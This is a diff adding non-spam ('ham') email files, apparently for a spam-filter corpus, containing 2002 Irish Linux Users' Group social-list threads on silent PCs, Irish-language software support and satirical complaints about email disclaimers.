+ webnote.net (8.9.3/8.9.3) with ESMTP id SAA24473 for + ; Sat, 20 Jul 2002 18:15:47 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA26490; Sat, 20 Jul 2002 18:15:21 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA26451 for ; + Sat, 20 Jul 2002 18:15:14 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6KHFE925191 for ; + Sat, 20 Jul 2002 18:15:14 +0100 +Date: Sat, 20 Jul 2002 18:15:12 +0100 +To: Rick Moen +Cc: social@linux.ie +Subject: Re: [ILUG-Social] Completely silent pc +Message-Id: <20020720181512.D23917@ie.suberic.net> +References: + <20020720051950.GE28205@linuxmafia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <20020720051950.GE28205@linuxmafia.com>; from + rick@linuxmafia.com on Fri, Jul 19, 2002 at 10:19:50PM -0700 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Fri, Jul 19, 2002 at 10:19:50PM -0700, Rick Moen wrote: +> Some people strip down old 486 boxes, take out the hard drive, disable +> the fans, and run the thing from just a floppy drive or a CDR you've +> burned for the purpose. + +what about using a pcmcia card and a compaq flash card? or doing an +nfs boot to a server in a noiser part of the house? (the boiler room +or something like that) + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00040.c1d2771cd9f2a815468140616fe7fef0 b/bayes/spamham/easy_ham_2/00040.c1d2771cd9f2a815468140616fe7fef0 new file mode 100644 index 0000000..ddf1841 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00040.c1d2771cd9f2a815468140616fe7fef0 @@ -0,0 +1,63 @@ +From social-admin@linux.ie Mon Jul 22 19:30:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 59948440C9 + for ; Mon, 22 Jul 2002 14:30:27 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:30:27 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQi403693 for + ; Mon, 22 Jul 2002 18:26:45 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id GAA22356 for + ; Sat, 20 Jul 2002 06:20:59 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id GAA18522; Sat, 20 Jul 2002 06:20:02 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id GAA18459 for ; + Sat, 20 Jul 2002 06:19:56 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17Vmen-0005Wx-00 for ; Fri, 19 Jul 2002 22:19:53 -0700 +Date: Fri, 19 Jul 2002 22:19:50 -0700 +To: social@linux.ie +Subject: Re: [ILUG-Social] Completely silent pc +Message-Id: <20020720051950.GE28205@linuxmafia.com> +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.3.28i +From: Rick Moen +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +Quoting Greg Farrel (greg@netsoc.tcd.ie): + +> I'm looking to build a completely silent pc. It's gonna be a gateway for +> a wireless network and will sit in my room (as my room is only +> spitting distance from the chimney where i'll be mounting the aerial) +> It has to be completely silent, or it'll do my nut. What do I need? + +An old laptop would probably be ideal. That way, it comes with its own +UPS (the battery). + +Some people strip down old 486 boxes, take out the hard drive, disable +the fans, and run the thing from just a floppy drive or a CDR you've +burned for the purpose. + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00041.3df133ff5477778dffcc6c78921dc107 b/bayes/spamham/easy_ham_2/00041.3df133ff5477778dffcc6c78921dc107 new file mode 100644 index 0000000..4e51f40 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00041.3df133ff5477778dffcc6c78921dc107 @@ -0,0 +1,55 @@ +From social-admin@linux.ie Thu Jul 25 11:31:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DF55A440D0 + for ; Thu, 25 Jul 2002 06:31:57 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); 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charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4807.1700 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4910.0300 +Cr2_Outbound_MailScanner: Believed to be clean +Subject: [ILUG-Social] In case anyone forgot +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + + +http://www.sysadminday.com/ + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00042.801b0da4bd900fe0d77fa80f8a0287da b/bayes/spamham/easy_ham_2/00042.801b0da4bd900fe0d77fa80f8a0287da new file mode 100644 index 0000000..a63b773 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00042.801b0da4bd900fe0d77fa80f8a0287da @@ -0,0 +1,98 @@ +From social-admin@linux.ie Wed Jul 31 12:41:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9F5EC440A8 + for ; Wed, 31 Jul 2002 07:41:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 12:41:13 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VBeI220008 for + ; Wed, 31 Jul 2002 12:40:18 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA01460; Wed, 31 Jul 2002 12:38:32 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA01427 for ; + Wed, 31 Jul 2002 12:38:25 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6VBcOY14594 for ; + Wed, 31 Jul 2002 12:38:24 +0100 +Date: Wed, 31 Jul 2002 12:38:22 +0100 +To: ilug social +Subject: Re: [ILUG-Social] Re: [ILUG] Fwd: Linux Beer Hike +Message-Id: <20020731123822.A14110@ie.suberic.net> +References: <20020731114006.B11938@ie.suberic.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: ; + from horkana@tcd.ie on Wed, Jul 31, 2002 at 12:04:44PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1028547504.d51096@linux.ie, + social@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Wed, Jul 31, 2002 at 12:04:44PM +0100, Alan Horkan wrote: +> does Spanish still count as a foreign language in America? +> :) + +yep, that's what i learned as it seemed more useful then the other +choice: french. and that's what seems to count as "internationalisation": +support of spanish. + +> Watch out for the political indoctrination at these irish language +> schools, when i was teenager they had use marching saluting the flag +> singing the national anthem and the college anthem. Presumably they treat +> adult learners with a little more dignity and dont send them home for a +> minor outburst of English in emotional circustances despite having better +> Irish than half of the other people there. + +if i go to a class, i'm there to learn. if they throw in anthems or +politics, i'll take what i can learn from that and i'll take in a new +perspective, but i'll only do that with my critical thinking cap on. +just like i do when i watch mass media. and yes, from the one irish +course i took in dublin, they do the national anthem. which is fine +really - i started off each day in school in america with the pledge of +allegience (with the under god bit in it which annoyed my dad to no end). +if that sort of thing didn't stick at the age of five, i severely doubt +it will stick now. + +> Just to mention open source software agus gaeilge, OpenOffice could do +> with having an Irish ispell dictionary converted to work with it. +> Abiword already has irish spell checking and a few of the interface +> strings translated (was about 85% about 18 months ago but it has drifted +> to some horribly small percentage). + +and see, that would be my retort to any overly zealous irish speaker. +there's a huge opportunity for a fully irish computing environment in +free software. and yet i don't see much action from official irish +organisations. the reason mandrake and some others have the irish +support they have is because of individuals like donnacha. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00043.2a43cc6315e9e6c29045ce069c1f1c55 b/bayes/spamham/easy_ham_2/00043.2a43cc6315e9e6c29045ce069c1f1c55 new file mode 100644 index 0000000..7c87fed --- /dev/null +++ b/bayes/spamham/easy_ham_2/00043.2a43cc6315e9e6c29045ce069c1f1c55 @@ -0,0 +1,78 @@ +From social-admin@linux.ie Fri Aug 2 16:32:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A9BCF44104 + for ; Fri, 2 Aug 2002 11:32:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 16:32:12 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72Ekjn01518 for + ; Fri, 2 Aug 2002 15:46:45 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id OAA03192 for + ; Fri, 2 Aug 2002 14:18:11 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA09918; Fri, 2 Aug 2002 14:17:23 +0100 +Received: from mail.cs.tcd.ie (relay.cs.tcd.ie [134.226.32.56]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA09873 for ; + Fri, 2 Aug 2002 14:17:17 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host relay.cs.tcd.ie + [134.226.32.56] claimed to be mail.cs.tcd.ie +Received: from mail.cs.tcd.ie (localhost [127.0.0.1]) by relay.cs.tcd.ie + (Postfix) with ESMTP id A0047F5917 for ; Fri, + 2 Aug 2002 14:17:16 +0100 (IST) +Received: from foleys.dsg.cs.tcd.ie (foleys.dsg.cs.tcd.ie [134.226.36.58]) + by mail.cs.tcd.ie (Postfix) with ESMTP id 30405F5952 for ; + Fri, 2 Aug 2002 14:17:15 +0100 (IST) +Subject: Re: [ILUG-Social] Re: [ILUG] Fwd: Linux Beer Hike +From: Arkaitz Bitorika +To: social@linux.ie +In-Reply-To: <20020731123822.A14110@ie.suberic.net> +References: <20020731114006.B11938@ie.suberic.net> + + <20020731123822.A14110@ie.suberic.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.5 +Date: 02 Aug 2002 14:12:30 +0100 +Message-Id: <1028293950.4603.6.camel@foleys> +MIME-Version: 1.0 +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Wed, 2002-07-31 at 12:38, kevin lyda wrote: +> and see, that would be my retort to any overly zealous irish speaker. +> there's a huge opportunity for a fully irish computing environment in +> free software. and yet i don't see much action from official irish +> organisations. the reason mandrake and some others have the irish +> support they have is because of individuals like donnacha. + +Just a note to say that the Basque government has payed for having +Mandrake translated to Basque (and release all the changes), so that you +can just install it and the desktop and apps can be in your language. I +think that whichever organization (Irish government I suppose) is in +charge of promoting Irish here could learn a lot from them. + +The Basque government used to pay MS for translating Windows, but they +got pissed off because it was extremely expensive and the translations +would come out when the software was already obsolete. Now they promote +Free Software while helping the language at the same time, I think it's +a win-win situation ;). + +cheers, +Arkaitz + + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00044.1ed173a136e8d0494533ebbf203d8722 b/bayes/spamham/easy_ham_2/00044.1ed173a136e8d0494533ebbf203d8722 new file mode 100644 index 0000000..e38ffdf --- /dev/null +++ b/bayes/spamham/easy_ham_2/00044.1ed173a136e8d0494533ebbf203d8722 @@ -0,0 +1,72 @@ +From social-admin@linux.ie Tue Aug 6 11:07:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5C16344110 + for ; Tue, 6 Aug 2002 06:02:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:02:30 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72L4Jv12075 for + ; Fri, 2 Aug 2002 22:04:19 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA29176; Fri, 2 Aug 2002 22:02:22 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id WAA29144 for ; + Fri, 2 Aug 2002 22:02:15 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g72L2FY27688 for ; + Fri, 2 Aug 2002 22:02:15 +0100 +Date: Fri, 2 Aug 2002 22:02:13 +0100 +To: ilug social +Message-Id: <20020802220213.B25994@ie.suberic.net> +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: ; + from Dermot.Beirne@exel.com on Fri, Aug 02, 2002 at 12:23:04PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1028754135.038225@ie.suberic.net, + social@linux.ie +X-Delivery-Agent: TMDA/0.57 +Subject: [ILUG-Social] Re: [ILUG] Dermot Beirne/Dublin/IE/Exel is out of the office. +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Fri, Aug 02, 2002 at 12:23:04PM +0100, Dermot Beirne wrote: +> I will be out of the office starting 02/08/2002 and will not return until +> 06/08/2002. +... +> The information in this email is confidential and may be legally +[7+ line sig deleted] + +an automated message to ilug. one of those goofy confidentiality +signatures. more then four lines in a sig. + +is this a record? + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00045.2ee1e1652c664c64b323207f9e7a6f02 b/bayes/spamham/easy_ham_2/00045.2ee1e1652c664c64b323207f9e7a6f02 new file mode 100644 index 0000000..758f4f4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00045.2ee1e1652c664c64b323207f9e7a6f02 @@ -0,0 +1,129 @@ +From social-admin@linux.ie Tue Aug 6 11:08:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5612044125 + for ; Tue, 6 Aug 2002 06:03:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:03:28 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72MtNv14871 for + ; Fri, 2 Aug 2002 23:55:23 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA01117; Fri, 2 Aug 2002 23:53:45 +0100 +Received: from hibernia.jakma.org (hibernia.clubi.ie [212.17.32.129]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id XAA01085 for ; + Fri, 2 Aug 2002 23:53:38 +0100 +Received: from fogarty.jakma.org (fogarty.jakma.org [192.168.0.4]) by + hibernia.jakma.org (8.11.6/8.11.6) with ESMTP id g72N0aw02255; + Sat, 3 Aug 2002 00:00:37 +0100 +Received: from localhost (paul@localhost) by fogarty.jakma.org + (8.11.6/8.11.6) with ESMTP id g72N0Yx09240; Sat, 3 Aug 2002 00:00:34 +0100 +X-Authentication-Warning: fogarty.jakma.org: paul owned process doing -bs +Date: Sat, 3 Aug 2002 00:00:34 +0100 (IST) +From: Paul Jakma +X-X-Sender: paul@fogarty.jakma.org +To: kevin lyda +Cc: ilug social +Subject: Re: [ILUG-Social] Re: [ILUG] Dermot Beirne/Dublin/IE/Exel is out of the office. +In-Reply-To: <20020802220213.B25994@ie.suberic.net> +Message-Id: +X-Nsa: iraq saddam hammas hisballah rabin ayatollah korea vietnam revolt + mustard gas +X-Dumb-Filters: aryan marijuiana cocaine heroin hardcore cum pussy porn + teen tit sex lesbian group +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Fri, 2 Aug 2002, kevin lyda wrote: + +> On Fri, Aug 02, 2002 at 12:23:04PM +0100, Dermot Beirne wrote: +> > I will be out of the office starting 02/08/2002 and will not return until +> > 06/08/2002. +> ... +> > The information in this email is confidential and may be legally +> [7+ line sig deleted] +> +> an automated message to ilug. one of those goofy confidentiality +> signatures. more then four lines in a sig. + +this is serious. the highly confidential information that dermot is +out of the office has leaked! i think it would be best if we all +email the "Systems Manager" as a matter of urgency. in lieu of an +email address i suggest emailling all of postmaster, info, sales, +hostmaster, webmaster, support and accounts (and any other address +one can think of). + +now, considering the critical nature of this leak, if you do not +receive an adequate reply i think one would be duty bound to raise +the matter again, and again if needs be, until one gets a +satisfactory reply. + +also, i notice a lot of people on this lot who post from company +addresses do not have disclaimers on their emails. i would encourage +everyone in a professional position to raise the matter of +disclaimers internally and ensure that disclaimers are implemented +for company emails, stationary and phone systems. + +finally, the email-disclaimers advocacy site + + http://www.emaildisclaimers.com/ + +may prove to be a useful resource. rather strangely one of the quotes +on the front-page of their site is: + + 'The disclaimers added to the end of emails are not legally + binding, but it's always good practice to try and disclaim liability' + + -- Michael Chissick, Head of Internet law at Field Fisher + Waterhouse + +However, i suggest this quote, partly the initial part, be ignored +and that other more favourable quotes (by self-aggrandising +pundits^W^Wleading experts) be heeded instead. Also, there is a +vicious rumour going round that a year or so ago a rather large +company in the UK lost a court case where an employee sent out some +kind of libellous email or somesuch despite the company having +implemented email disclaimers. pay no heed to this - its just a +rumour (http://www.weblaw.co.uk/artemail.htm). + +Anyway, please: Email exel.com!!! + +> kevin + +NB: This email is copyright 2002 Paul Jakma. By reading this email +you agree to compensate me by paying me the sum of EUR200 - please +contact the copyright author for further details on settling your +fee. If you do not agree, please unread this email and delete this +email immediately. Further, this email is copyright protected through +the use of ASCII ROT-8 encryption. Circumvention of this digital +copyright protection may be a criminal offense in certain +jurisdictions. + +(and if it isnt in your jurisdiction, dont worry, the WIPO is working +tirelessly to make sure it will be). + +regards, +-- +Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A + warning: do not ever send email to spam@dishone.st +Fortune: +"At least they're ___________EXPERIENCED incompetents" + + + + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00046.add5074396ecada0869e4d3d547ff7f8 b/bayes/spamham/easy_ham_2/00046.add5074396ecada0869e4d3d547ff7f8 new file mode 100644 index 0000000..6c50c1c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00046.add5074396ecada0869e4d3d547ff7f8 @@ -0,0 +1,72 @@ +From social-admin@linux.ie Tue Aug 6 11:08:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2D47E44112 + for ; Tue, 6 Aug 2002 06:04:01 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:04:01 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72NQbv15735 for + ; Sat, 3 Aug 2002 00:26:37 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA02250; Sat, 3 Aug 2002 00:24:55 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id AAA02218 for ; + Sat, 3 Aug 2002 00:24:48 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g72NOlY29422 for ; + Sat, 3 Aug 2002 00:24:47 +0100 +Date: Sat, 3 Aug 2002 00:24:45 +0100 +To: Paul Jakma +Cc: ilug social +Subject: Re: [ILUG-Social] Re: [ILUG] Dermot Beirne/Dublin/IE/Exel is out of the office. +Message-Id: <20020803002445.B28892@ie.suberic.net> +References: <20020802220213.B25994@ie.suberic.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: ; + from paul@clubi.ie on Sat, Aug 03, 2002 at 12:00:34AM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1028849087.84db23@ie.suberic.net, + paul@clubi.ie, social@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Sat, Aug 03, 2002 at 12:00:34AM +0100, Paul Jakma wrote: +> finally, the email-disclaimers advocacy site +> +> http://www.emaildisclaimers.com/ + +sites like this make me question my opposition to capital punishment. +"This month's Q&A: Is it better to prepend or append disclaimer +statements?" augh! and they admit they're pointless - in reality they're +just the legal world's version of mandatory email fashion accessories. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00047.e67d0d53cbd3ffafe303cf4bd4e03d66 b/bayes/spamham/easy_ham_2/00047.e67d0d53cbd3ffafe303cf4bd4e03d66 new file mode 100644 index 0000000..37f6c3a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00047.e67d0d53cbd3ffafe303cf4bd4e03d66 @@ -0,0 +1,145 @@ +From social-admin@linux.ie Tue Aug 6 11:09:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 01A234412F + for ; Tue, 6 Aug 2002 06:04:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:04:33 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g730GKv19595 for + ; Sat, 3 Aug 2002 01:16:20 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id BAA04099; Sat, 3 Aug 2002 01:14:42 +0100 +Received: from hibernia.jakma.org (hibernia.clubi.ie [212.17.32.129]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id BAA04072 for ; + Sat, 3 Aug 2002 01:14:36 +0100 +Received: from fogarty.jakma.org (fogarty.jakma.org [192.168.0.4]) by + hibernia.jakma.org (8.11.6/8.11.6) with ESMTP id g730LZw04876; + Sat, 3 Aug 2002 01:21:35 +0100 +Received: from localhost (paul@localhost) by fogarty.jakma.org + (8.11.6/8.11.6) with ESMTP id g730LWW09530; Sat, 3 Aug 2002 01:21:32 +0100 +X-Authentication-Warning: fogarty.jakma.org: paul owned process doing -bs +Date: Sat, 3 Aug 2002 01:21:31 +0100 (IST) +From: Paul Jakma +X-X-Sender: paul@fogarty.jakma.org +To: kevin lyda +Cc: ilug social +Subject: Re: [ILUG-Social] Re: [ILUG] Dermot Beirne/Dublin/IE/Exel is out of the office. +In-Reply-To: <20020803002445.B28892@ie.suberic.net> +Message-Id: +X-Nsa: iraq saddam hammas hisballah rabin ayatollah korea vietnam revolt + mustard gas +X-Dumb-Filters: aryan marijuiana cocaine heroin hardcore cum pussy porn + teen tit sex lesbian group +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Sat, 3 Aug 2002, kevin lyda wrote: + +> sites like this make me question my opposition to capital +> punishment. + +:) + +> "This month's Q&A: Is it better to prepend or append disclaimer +> statements?" augh! and they admit they're pointless - in reality +> they're just the legal world's version of mandatory email fashion +> accessories. + +not legal, more management/corporate fashion. cause most of the +actual /legal/ opinion on the web i've found on the web indicates: + +1. they should be used /sparingly/ + +blanket pre/appending of disclaimers /dilutes/ any legal +effectiveness they have. + +2. they are not binding, and have little meaning other 